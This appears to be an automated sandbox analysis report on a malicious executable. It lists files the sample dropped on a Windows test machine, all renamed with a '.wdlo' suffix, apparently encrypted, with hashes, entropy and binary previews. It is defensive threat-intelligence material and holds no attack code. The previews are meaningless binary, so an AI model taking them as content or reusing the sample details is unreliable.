Preview:	......I'.!je~2.3FK.....=.qt..-.._.O...k.....[.9..[N.....!\|m4..N...(,M..!....s....cV.%.EzIU..>.lf..D.....IE.[=.):J..t4d..u..n..k.2.{V....:.:.\|..~m.M.e...zu...H.r...D.\|.`._...^.s...E)x.....Y...../.c..s.......If...4U..da3.A..6...1...>..m.ar..z<30T...........+./uu_m!3Pi.....4.A..R#......60...;v......=........Z.@\|.8.x.}...K..4).......\|u.:.F..[Xc...n..T...%...).,p.6..I.pAx..n....u..0..q,N.-.u-.S..{...&F0......z:Vh/.'..Kbd.Y{..P$X.Z..Cp.....;..\/0....M......y.w....\|..+..<U.D.?....fnF.........m..$....sm^:...A.`.+...'\.8...w<...$9p%...a..bz.ly.!h..z..\|.Z^1)=.oO...#....X........7.[.......S.[,.>.'..o<qM..31...a..w.80.....#....b..h.(...y...R..e(.:}...Y.s.G....A..0Ua).x.....@..$.../%..}.......T~....a..B/.....Yv..K52.}..#D.UZ.U.50....K$..E..^...)".n..?.S...Y1......F.T.i)s...A7....g?.jP..d..'.....3..;.4..P..z..c_.8.[....I....vi.C#.~>[..R}......."..q ?...R...K....~...\.`.v.*..[.Ym,...".,#..2E.y.....n...f.-E5...3Y....&.....q=+.ly...J#A\|.46./.H...

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997271815039205
Encrypted:	true
SSDEEP:	1536:6qAOz+CJgz+mgDkXV0/Kp5MyESJzvWmoOB2jy+QbQ2ltD:iOz+CKziDMayESJrWmoOoTUlN
MD5:	BB0BAC3F7E5883B6E7901992B58F4B70
SHA1:	D44AE1FC73AF22C0DC8CE5F9FBC3FD8D9447AB41
SHA-256:	00781A495063EDCBDAACEA1EB7CD9E6D930E40F37338E3F09D5B8A03754FBD99
SHA-512:	E58F85AC8277115DD3745B134C48746141308784E52432950C879417A894F9C8C14A3DC2CCF8FF441CF8A95C27E7721C63FB68330E79C4AB60AD40BAD0684F27
Malicious:	true
Preview:	......(Y{.j......cW..\|...h....c8.......".tF..Yk..n.w... .z...,U.XP..'p.....N..z.bY.]..Zx..W.c......@../.P<......Y.....<.6.E./.\=..C.)E......A...A...w...'.KxV..\|.. p.E_s+.Y+k..%.lhF7..z(......e.J....~.U..&......=)C..J...r......U......{A.....&.[...6..$...0...c.k.....DHay......\/.,......(........@.......9@...3.....y...oE.t.V........HI.........N.A......O3.d.......#.........}1...f..f...t.8.)v..\..&..o;].A...w.U..Qp.....}....M.V.p_...9\.g}....../..M...).,..m.s9...Y..MHJ-.9..$....68k..U.Q......".o."..zXR.u.S.G.N.q......w...{...?..>.2...>..^Fs..9....H.i..........fM".....F.......~.......l./..a.....j.z........=F...K.x.....<.sD.'........:u....jc.t.].:.Q6....E_.P..!.".X.Nk.....u-#......x......CZ._.....k.9.....z...5}-.9........Oyi.....6.<?.P.O..;D....;r.Hs..]...Gy.4+.).!..S.@.n*m..M?SY..D.:....P..%=..-.[.@#V7..I..U.Q....... .#...v...%...u.O...v.....<Be-.....c. ..GpX.DnB..2.\..\|......7AL.i...-...Uj..{.....(.....ATw\|G.NT[lB.r.s?.....h...

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxStore.hxd.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	1.3117044817300383
Encrypted:	false
SSDEEP:	6144:nN0Ti0yLsUNguRnhPP2nslZHzEckzCy/u8:yTi00sJuRhmGRkmg3
MD5:	E5915D7904ABDCDE4D801BDC3803AA36
SHA1:	1B5274377458FB675A3CFEFB834E29678A7A8844
SHA-256:	B86CDE6C33FD33D546BDC68562BFBCF45DAA7A8C36ED6F74215BF7567D7720C6
SHA-512:	AF92DB170F36A155C2E2FF6BB3650A8D52395C768495BA1957EA79CCC7440A3B836476752F50ABAC2321957EF11A78602661F3E2921BBECAA3CFFDA3073EC9D0
Malicious:	false
Preview:	Nostr...4.....}.M.A34I.4V..T.8v.Q.....M.j....1,...%B..7...3J..;.._q.......0,p....p.....Q....~...A..8...A.(S.=..M2...~.'.!.D.H....#...!XZ..h].=.2...;.....M?9....<.-#S.%..... %\|..-..I..ZDw{............>.z.+.8..J.v..OC....H....(s..Gm.............m....\|GQ..b.P].c.K....Hh...2.."zF...,n.DP.....e......Hv&Hm7,..s.Q...R....c.r.:...~..m...<[.%0...YE..'.....Kv.,.-$..R(...P.T....fTc..2...h..P.....S.s]m.Y....k..=`)..%..a......x^..... .4.....fz4...A\.A.p. ..E:.. ......JT...@.?.5.r......2>.)....@3./.B.i-..G....a..w5D.gr.J.b<..Sv.....A.@.. S....;I.1..5....(Od.sg.....)......#:G.....h/d.............!7....mZ.Yc..P...O\|#.[.)Tt.AA.D.2.....w^..>.b...=.{......6..W..Nx4.A..!.`.a..E."...%......g..d..u..?....u....j.&.5.7.k....}..L.7.....)...V........r`..d26g...?d.F......D..r.2..^....#._..O.b. .Ne0dz.c.c.....\.*..i..t.....]....[..lWSi..t+K.1.......8../...J.{..:z.% J..(.0:.<..d?.;.7K...:.-....TO.<w.r.:b....aY.....&ik..(O.=@..p/I.1?.,...j0......X..P...y..1.K.

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989656124816318
Encrypted:	false
SSDEEP:	384:rwS5buSLMqNrO3IDSJAIJFvkS8NnNQi2WkGlcUAiYz:lbTfrpDSJA6ONnNZLgz
MD5:	1947B2181D92074807DBD0BE5611E6C6
SHA1:	5E0BCDCA93276CD6BD3310CF403E8C62CAC1C4DF
SHA-256:	6A2DDAFEF68B3C9F444BC0ED2E29ED5ECFAB851E0DB1F8E236C610B9C8EB71F0
SHA-512:	F304EEFB4688F8357689C29992491A3AB2308A14C37444AC338020E3FA74F4A2007D5B177150E40D205C1F92229E98D91C31272FB4E584AA7321B6F6E3139813
Malicious:	false
Preview:	regf..F..?;.5.~.TQ.Hi.....A./..{..j$....W....]q.i...p...GJ..)....Npr......V.......3......%...9...e$..W..(j..x.J..."0.J`H..Q....%.[&.....X..G.G.....nQ..-.Y).S...../...ai.G^.C...7'.=.z.hR.....{..Y...#^l..a\.~.S..d...?L}..<.Y..._.znu..3".....T.....O..\.o...Bdy[.-.l....<.fu....y.g............ .....=.]V.U.k.yG:.).O.P.A....r.\|'..........j.....;K1JH......j.[A.\'N....@......V.).jo......e...j.P..UC0B(..2....0......c].j7..v2...1s.;..$.(T....\|..N.....D....._ \.....z4....u.B..2.-Z.U..p.......a+9..w..uw4....k.E.\F..X.3H.A.i..'..@..W9.iC.....a2@.K."w...uC.7.i.;.P.w...$9.]......z6na....0.+...71.Xeu....S8I...M...j...n....n....[H..-qr....U.v...y.1..u.....N/!4"ea......GU#.....#... ..).0..$0...&..n...Y....9.:.].MXg._(.."...L.....v..#..x..o@..D.M..]. a.p.T.......B..q-..A..v.........~..@.K.7=>.7.C,.B...k!76..e.8".....!l...D.m..p...Q..WT.S.n.m.ar%!....@/u{....s.....J.... E..w.......-."..1..0c.w.$..dE...G.GS...[.~.gN..NnY.!G1..p2....7J...m...a..'b.....

C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989471634267234
Encrypted:	false
SSDEEP:	384:GBPEEURHxLoc0OULfpsAtpkudUph5yTuQdp6T95uXOcxdq/:GBPJYHvEqe7UpbyV6ruXOd
MD5:	6C7EF28A0E9FDEBADCAB2E50B23C20DE
SHA1:	FEBA5EF5F1A07FAEE5A1B75167227B5B2169B40A
SHA-256:	EF9807C7CA60C56D951005549CB1F8584A7CB7252DA1AC67653C0B4E38EDE180
SHA-512:	8B5D905AD0F488991D123BD1673368C6F1DEA0E4B5C2CAE447745EEB06531BB508692BD8403A69CF6084A287EDCE613126DB87476371262D1F1379BF0B494933
Malicious:	false
Preview:	regf...".._...[.....2... ..e..I.b..cN...9.B..\..c..U._%.l...V.......N.-...W.........\|..07.T..n4w"}D......F2..A.qk':>1.W...i%.=.w,.n\..R.l....u2...i#...I....../^..(../`3.......{..=..!....k...l..\|.9f..!4..V.u.N..B....{..B..1.+...q.y`z:Bs.Sg"..gQ...%..\|.6...eh.G.....R...zI....s....zz..;G-BfQ.X.6&hM..0..vH....u.!][.E....g$...v...jw..YR.u.}!/6W@..]8...//t....84.DK...(3..J9.Mz...5t..=.....{Z...W..-gHF2..n...<..[....=a....<.S..\.s..$`.`+....7..g.....x...-"I....Cc.+h.^..n.i.b).4u.kjcu.z.uu.$R`..~......u].:...O...W..\|x6.Z7.."...q3.t......-..X.R...(...O..-h..=.PA.Gmo5r.d&.B}Y.`..:. .?m.......4...l....s......pd..X..g..,.f..6.........D.,..D.(xD.`..O..:..-[)..)..>...q..1...df...{..4..A......../>v.....(. ..*.>../.1f?<... .W.n.k.....y.%.......:.~V.iU.$V...$....wB.z....:m2.......C..Pu..&..C.}...Rt.5;......J...{..;j...%.D.. .'..kzs .....p...'.........w".V.@.{.......,.}.}3{..}P..3..6....Je.?...-?..w6!..3..b% .#.k,T\...hN......Yw..i.nR.:w..m.$Q,5.....

C:\Users\user\Local Settings\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979964327495254
Encrypted:	false
SSDEEP:	192:LSEeaKpAmwJp3nHr+ezkzJB+LeVQM5R0M5VDFojzZIbi:LSEK7q3nqezkzJB+qHZF2zZIbi
MD5:	AEA1CD1307E96A47F4F1CB46ABCECD13
SHA1:	7BBEFF094FD2434A970EF25E17C33DAAE7AF55B0
SHA-256:	9CB4D44104F9B9BEB376E863977FFDCD553E29C8584E4FF705F2436701755F47
SHA-512:	9F9FE5F90593E56646D525A1F8821DA185A604C9EF71C8E4C4AE5110DE14B757CB8A650ADC3CC90966C793A612BF1D71088C3EA077C8A3494BCB613A1D48E7AF
Malicious:	false
Preview:	regf.bj...3l1E.`kbk.Z.^...yJI;...v .+z../.1.G.b.......H...6. S..kT/^.f.9e.f.2q....\.Q^..<s.D.+. 9...h.t.E......l....d,....o.(.@....@R...6..@?$<..6)...N...C.J...R........:..:.B.L.....\L.e>x#.6.A......e.`..{.'.K&.L.+.R....q.y.....7...U\|.......zp...W......j].!-t.0......7>..P......G.J...=`.wgKpZ.....(0&6...S.....t..8.L.......~.EI..@4A.%%0....2e..y..S...m......L.B{U...R'.3\.a.p.%gegs....7..;.[w.?.).....6T<.<.....^_.~...l.Lo...i.z.......y.A.#g..:.d...@..Kx.).Eu'......L...?....Nx.i...,..l.oe.[S...9.5.n.T.{.....V..}..sNX........L.?.Q.....xsf.....E...g\|.[.-.Z.........cz.[X.QW..x.?...".e,.2H..lB..].B...7.b!$&.EA$...(.W...d.^.y.......i.....w....s.....R(A.x&.&.+.LN....d;x.$x....x:.........l.P.......'.'..6.u.........u.........Nk..-...\....4.8^.....i.."....#.....~....1+......+O..Rk..<.....&...._b..w.?..R.Xr!..8s'0\|./w...Kt?.....".`f.....Q..L...*o.+.TeP?_...p..Ut.!.L.[e.c....>..........&.,Q^.........g......o~)..I...8b.].R..%<E....6.RIF].7..!...]3.f..../.......

C:\Users\user\Local Settings\Temp\.ses.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.379972944867252
Encrypted:	false
SSDEEP:	6:KcwuMKSELa4yMNcpz1cuUTUdqshMiaMHFwpCVCjxgioALBmJlAk+IDcbnRQOsVoA:QuX+4ZuK+hMiaGqCkjGid9NG36Wcii9a
MD5:	64118390A999B4B1CD6B645ED958F6E5
SHA1:	95BB424268E5B4DCE8B6B42FD974FC6AE453FE79
SHA-256:	001300B591FC04A3D50AE9840C6794D24DB9415ED7184C6E2024D7B2F0D4723E
SHA-512:	02BB6B691BD01229BB0F555D3FAEF90930947F3892B7A1517525B48340FB1D6171AA66FFF94A2276AC63BB0E8F67FE023DE4D93FCB399BEBE46CAB502785522D
Malicious:	false
Preview:	16964V.qjj?b.e.......HZ....!.E....;.^+[..3.g......]....c......Q..y......N).:gh%...jv.......K]v.bw(x..5..6...T.v7.L...........k..q_.PI.9.:...lGb...J.B..sW6S....`.W..,.lu...m...UY...x.9..4..F.<..'~.......S?.....F.<gR...Z..b...8.$]...HH..Q<..A.Ae.jP.u.....G.@.m.4NAt..4@.Z....8..W.]D........Y>...'*i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\18CB7859.exe.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997103091928642
Encrypted:	true
SSDEEP:	1536:/Bdl7+wFRwuIDe5FPc5IicdBVxf2aKG1YurfwZQ/AfEmMd:XjvyXIitaKG1YB6I8mMd
MD5:	407D2217D206A4D47945CE2888328AE5
SHA1:	8321401289488198F477F16F1E9FC4F0BA4CB8C2
SHA-256:	D7AA22B401767C78B3F37575029EEE3B51BCA6C49611171A3DA868239F0A30AF
SHA-512:	DD50B50DAF99CCE60026DEEB715E4526246AB0C3851E25A4E10B3CE7F50259C38D2F99F1E5C1329BCBECE2B9A8A109AD426EBD0DA2CC95296E5BBDCC77111C13
Malicious:	true
Preview:	1G.f...Q..'>..{.\|.......bf\|f.`...X.....T.n.H..O..j."~H.:.F.y.z<..ES5.Yz.5..n.Sq.......J...0[D_.2....q.c.....4..{.]4..i..hv.B...P.r.o.Dc?.v..(.. .T...p.h.Q..j.'P...Px:.{...{n..t.f.7...mv...m..F8...7Odf.v.$..H...n..gg;s:....".................{....-GM.n.7.>..O...........,.......~..............X.....}..Q...k;.6.......i.i.......b..;e...\|..f...Lj...].....}.;...>.....7.QOc\|4.....a..jB..$....?y.."[.......2gL...Z.u.D0WA0..`'.K....O..>.....B~.(B..tH...zWag.`.?.`./.c..e..R...z.......:..a.....(..E...9p.......6....`@.6R.....t.l....7......j...PH..!... P.y...ei.=..}.e.....c....g.Z)]7....8......+J.J.v.....R....`..?.I ....s........\|Q.p..'...&j\|...V......Y.+.]...T.......z.CQ.k.P1.oJ[.$...i..N.;,.6.pQs.k...1.8.]e.9.j..3.SY.`Hr^._Q..w..:4T.f[.4..n..M....B..#..J.}5.q.v..Wc.9...E.~v.r0.......-.:.!..b...i.,....s.....H'.E.=.&....../xS./.....i..q;a)%.....iE..4.z.\.."..Mt.E..s%Y....X.......Nf.w.gc1.j..b.p...A._....$..f[\|.PA...v..\|...pIw}L......U..v..g.C..Jj..

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992688133370801
Encrypted:	true
SSDEEP:	768:8jjEzhv++WJ0Iiy+L0yvS4RTNgvcnjWL7x1hHz+8ik8qxDRwPWA:8jYzhve0Ha4R/aL7wq8RD
MD5:	76727C2364D11505D4D21AC73EFCB88C
SHA1:	D897E36DC414E2F9DF1A54B63C169381ABBB3D6C
SHA-256:	F888C28E6F98C93176B4C03CD02B9C39CF54901216FFC9C0EB8AEF5832EA39B7
SHA-512:	5350887B34E6C0EB002B5C7156638B3E2040B1FC5FD99213AA0C474444656EC0A368D9AB59752B480A94D85451EE2D048E2C2480476C221BCC31DEED2E11C16D
Malicious:	true
Preview:	SQLit_.K...6.....GHN:.S6\|g\..#....+.Z.........;...{.=.g...?.m.....P~.xk......,iF..3b..P&.2.rp.J.W..TT..)...._-]{F.Xv...H.R.f.d.u.).uT/....H2s_._.2..Y.VZ...1D:.-......6h2..r#;.P.\..{o..;n...".f......0B.p.......6f.....\....1.!.z........fI..L..kv'd.~Fn.5. ?.'....)..:....t.&0.Wxzj...n.....jr......_.y.%.g...t.&..s.Iu.j...E...RZ.........r.....H..G...[.....a."........F...-.[..(..w{.&1R..n.l+.&[.KP. wU'.)...N]..$..\|hJ.O...Sj.Nxt4.....}..&.+.y.1a{S......'.z.h/.A...U^..r.m.....$..R.........."o...a..b.ek.u. ..8..GE.. .P]!..!..v;>..+&...[~A..... .......Xc..j..rT.U.MF<,.&c.U.^.(..n.Tu...-.I.....F...f.}._.LJ...k\..q....d.k:[c._.V_......I.~...>..0...'75}.!.S[..n..H.....C./.\.l..V..]a.N....d....[..F~'B....................u.y~..=kx..1Iu....~...B...3.....5.}.Q....:...{g.....1<.B.lm..#.WU.J~..4k..@5....7..qD.Y...0.<.3..7..=.1M;}..x.{. .y.?..T.....b.(.0......!...z....Y..3......h.iw.u.>.....<D.?.....1."........W.a.,.....\J-i.=..].z......Wl.

C:\Users\user\Local Settings\Temp\user-PC-20231004-1445.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	39142
Entropy (8bit):	7.99440396073635
Encrypted:	true
SSDEEP:	768:BdSoOZT64AmI8UFFSYM1WRQjvaKdm2e31xp2p3fAWheBCV+0zcns3JtYNYY:BYoI6sIrSYxijvaldl2pvAWhea+0zbnu
MD5:	F173CC421F2E1581AE63C0D11068EAD4
SHA1:	D15907B49E94454E60B5286013410C1BD86B7F52
SHA-256:	B7BC4378E2DAEE175CC373376EE261D4798A7491DD3D21B9961F9C491D47A4D0
SHA-512:	2E0510CB3E99A0DD8E8725FB5989B2A5EB06234FDB9A48F88DCE89DDAF7A779A48EBBC75AA9D5DCF09F9F2C3B73EC7643E150BAC2FC3F73B5DCCC121103857FC
Malicious:	true
Preview:	..T.iN.p).1.h..Vg....5...0".au.:.V..ACF....G...!.....90.7xS.LL.l....$.i...F88.....NCCP.<..Z....E..c..,~O.+.c2.N[v.=.."...J..DkJT..%...kD...!.M}Ht..!...>..4...x. .....SV .?\eq.1...Z..._.k.P.}.5...1.?..Kq.=Vg.\|.'.&h.. .Q.v(T........s..V...F}a......x.&.Q.q..(+...fZ.kc.q.p\|.npx..AW....C#f....%.9...g.]..S.5........p..F.... ......rxwC..@.Bu......&L6;...1....gW+n.o:. .8.....X.C....4..R..J.n...H.~.UG..y)......K....Z..Htg#...{(o..o.T....B..wE6...S6..Aq...G..._.K.....-..b..).~6X.i.... ?.>....o.........4..E..~....s..'1..T....{ 6.v..]..>6....y7.y"...g%.xd.c...n.QEJ}...`..^..>..$...5.(}...4..pl.R.]....C....f..q9:.`b..n.....C....../.3.......@.kU.I}vP)...;...vK.....{.)c.._02Av..FB;C.f3].......@jj...N5..{%.1..#.K........3U.....-.....c.....2.A.......y.T.c....Sp-...-.7.3..>R..du...UM..n[..Od{#.f..D.,..?VPK..H.'n..{_........~.j.o._H?w.k.2Z.n....{..x".^.....v.N.A..F...Uj.u....5.J....pZ.....d.Z.cGE.....vr.GU...=.....-H....n...PFD*7.,.GN\|7...f......!:...

C:\Users\user\Local Settings\Temp\user-PC-20231004-1445a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	175366
Entropy (8bit):	7.80731898039992
Encrypted:	false
SSDEEP:	3072:OUoYxTw9AeRbV08zRc9cQpUabmnYXNiKSgO5J2vcS:O89w9vMScLUayYcjJ2F
MD5:	705C3A7C64CA181FBACAC9F59987EF34
SHA1:	307DAF5FBD71ED704AEE51188A61C5660B96A680
SHA-256:	19D886B074A2BDE910BAC347DB5B62FA9AB12A03578B0A179F83AB237E997F48
SHA-512:	D9F797CB924A6E2D705DC7A4FD7904069E73054693AFFF02498D5A5ABA2CBB527E7AAFF65CB21745355185AE1FCD5F67AA7017CD4837863F5571ADFCE088CA1E
Malicious:	false
Preview:	..T.iT.AA.........w.....xH.9..D#.b....j.......[....\|_......2...P.j..iRn.!.'....j..R+........7.\P......y.I,..m.....{d.......Y/.'........2.{.C.W;.j.u.~.(i8.Z......9:4..]!.^X..B......6..!..).6.{... ..N..0...+.2o.?....8...].......b\|.......<...}.Bj.yqP....h N..2..?1.8....Q.....u.....l..zX.<'...se\|4e....F. ....5.O..^.+.$.........vy........P..qA..~..^....%JSfeWAe..NfT....G.(..Ov.3.....0.Z..5...B..w.a.o....B.>.'.wcj.:.0.O&..$2+v6' b...4l.2..%W..B.C...(.\|...g].y.ZK/..P.....tY..JdH./..Q.m.9.L....`.V...XC...%;{.P..Q.N..Ye.@..HSW.J..........P0S..G:#.[.......y(.T..\.....6...../r....Y.....-..Y.{-y.'Ke.=....Y .....E....>....)p..../..JZ....by..{.....}\.r/$@Z%...X..e.$/M.c...u......C;F..MwS.^.. .....(&..+........p....o....[.M...5...nR.b.Rz`la.....E...aC.....N%..odk.`.;q....?..CC...... ...=b\|WC...._6.2.....'..S.Ud........,)s.R.607 ....4.>.!...P@i.#.tC.%e0...?/.T..l..Y......;.^..7.....A.^....Z.7.q4.6?..r(..r.%.4.J##....(./..:..HH]..@..A

C:\Users\user\Local Settings\Temp\user-PC-20231004-1546.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	261758
Entropy (8bit):	6.9164758993360955
Encrypted:	false
SSDEEP:	6144:8TY4+Asw0bafuMeAo7kGj6Q6+/hdJyWvPijAnnGAhoLJscqnIe8h7vmtLtndTL3M:88As+2d5/hdJyWvPijAnnGAhoLJscqnU
MD5:	F36F8C841C283886FE98B506626DEBB7
SHA1:	C28E35AC2BD0566CE844280BC006D8453CE359F3
SHA-256:	772E227909E70E31B0EAA03513C56E38D4EA1383FA81E461793B2B9B216BE30F
SHA-512:	A2D99D84BB3B4EFBABF8ABD14FB7648A90D08F035BB8B87D30C2516DB8FC8F8FFDF1DC04F3B24BEED86F8AFA9D22CD4A46893C6A17FB58A9A5E2EEE0B9C72B63
Malicious:	false
Preview:	..T.iq.CX%.N... {..]r.:SL.....7=XXVH..#...+..z.U.C.RZ.I.....:/p9.....o}1...q.....a..!.K;9Bwl..@.......2..H..4.^.....3..<]N.D-.'.l.._7Z..Q....u.q..g.&W....5.g..cG.P{`\..:L. .aF.-.H8.{Hu.....Q/..5..rr(\|l..3...U.2.....~.q..wM.....%?.W...R_.hl.......kit.-``..ye.?.L&.a....Q.EQa'.6......1.F..w.k#.\|$..l....ne.y.\.O.f..Y...d..Q....dO.d...%.9Soc.`."X....W.]\|p.L..l......U...!r.R..P..G...S.\|.$.F.2..I..;.h..@..=(%@K....qv...9.Oe.l...F....Sb....R...P....2....L4Il..GT..g.XX.oePx...14W...ij`.".;>..._8~.g...p.z...v.....3F!t....quN..R.4..tI..Aa..C./.d.4....l&.G..&f.,......?...D.j.#..@\|.0O..M.>#.....0.82...rh.Y...."-./..1y....&..B.....&V..l..D.~v~(.f3p........px!.].^l...IW...M...F...).{.....0...=GSU...........fn.L..........d<.:..........=...0.....W.............R.Y#..Q..0[......B..]......\|.;..v....r.....S.Gnh..\|..v...k<..;.K.2....#KN.....BB...HH..........=...^Y..+.. .L..._.......D..........W.F.......'.D..<.dED......*...D..>-1g6t$(.+..z.H...X.#..O."... ?

C:\Users\user\Local Settings\Temp\user-PC-20231004-1547.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98612
Entropy (8bit):	7.998219889258551
Encrypted:	true
SSDEEP:	3072:vaj+P5JeRwdwFMR2RYoY/7geECSToA4JsgHd:vNRkw+KRnB/7g/B4SW
MD5:	1AB348C7F004ADD79F1A687E89D75E2A
SHA1:	94641FA313207ECDACD914D9FABA657D0F7446BE
SHA-256:	D099F1EB799013738D0ED471307D03C4B7EBF065CD3BE60B78F5599CEFF24C47
SHA-512:	D578CA46BC12C4AB1F543F2F8D11289EACE952D22DE6E6BA56EC00666DFC27FDDCEBAAF9776AEE09E9A248D81455074F1E1E20E212BE947093111F2E6C2EE83D
Malicious:	true
Preview:	..T.i.C..-YY......Z.Z.6.lwu..2...Ew...y.I.v.u..r.H..=.a<TZ..L....S.ag..u..Zjo..-.5..X.......A.....tAc\7....s.[/6M!G3.1$H.,r.\|.........]@.ya...[l..z."..L..Lb!..p.ZO..:.8...}.P...8... ...6...G\.2.8..Z..H.1....R..91.......d......Xq..1.S.xr[)-~........\..a%..,..o.5.O.....(..=pC.bp.....@..u...66[.K'....y=..D..F.#H.G....$_1,@.@.J.......y.......72.\W..5.0.3.g,.D..}.%#.w..~..f..-...Z...a.:,p]^%1@5..je..."i.O.\......E.\.2..........'...0F.zy...Q.;.@.X\|..&.$n.3..)3#I.....GH.$[)..1......l..bj....._.o.n]......a.q1..Ul..i..-...<}.....^.;.1B.pw.R.\v..sMP.B.L.t..%.&..p..{t......\|M)....).).9.. ...3......Ga O.,.m.Y....>..0........g..6....#...vn..P.G!.(q..av........_.oA:.wD'?.;.q....\tPF.Df...`.u.~>..<.fB.u..G`..FY............[.,%..F.Q..".........DF{WM....!^3..!..........}g..t....}.CMA..Xg ......}.3.%..{.^f....-.@k''..d.+.... ma........7......SB.>y...uk.....~..I.MP...JDX.~.hn?.....K.<C..W....a@M.W.X.u.lY:9.3.F.Q.iK..>.p....=....WE~.r50c.I9.._.....PE......

C:\Users\user\Local Settings\Temp\user-PC-20231004-1550.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	393280
Entropy (8bit):	6.111213056417324
Encrypted:	false
SSDEEP:	6144:6LIvrrfGbxCyt8r4WefhFfNEjRLZY22FAJ5RF9QNLQ3R:9vrbgC/4WeXf0VYXFRNc3R
MD5:	D01F6525D1C96311FE5A30F3207C0BB9
SHA1:	2ECA31D28AA2972D89F61F039A0F5D1A01AFDB6B
SHA-256:	4406C7CA66BB447B59A4DDC37353FAD943EBA2EB48D20B116E0666EAF8878CB3
SHA-512:	958D41FCC5F114E4A18A59F068F24E4EF4DCC1AC3BDC137AEFD87E56702C8965E6312E206CAACEA8AFFE35F41045D806A66E59B72404AC59C3EA9183BF83D88D
Malicious:	false
Preview:	..T.i..-....AO..!...DJ=.<...A.I......:.L..t..&...j.....E...... h.N..@._..r5...:h.3.$J..Wq..(.pn....sTm..,?u....V...S5A.F.nr8.....O..O.l.i8d5.U7E.-..K..`9"..l..C.....(F.B.m7.....z<.5.'......@....=.[A..X..\X.>.".f....&b.~M\.\O%.&.\|.'.XV.....G....m....JT.....D=..;.E.,..m..ht.q...^..P.8...w..w......M....B.n.rx.!.M...s...]% 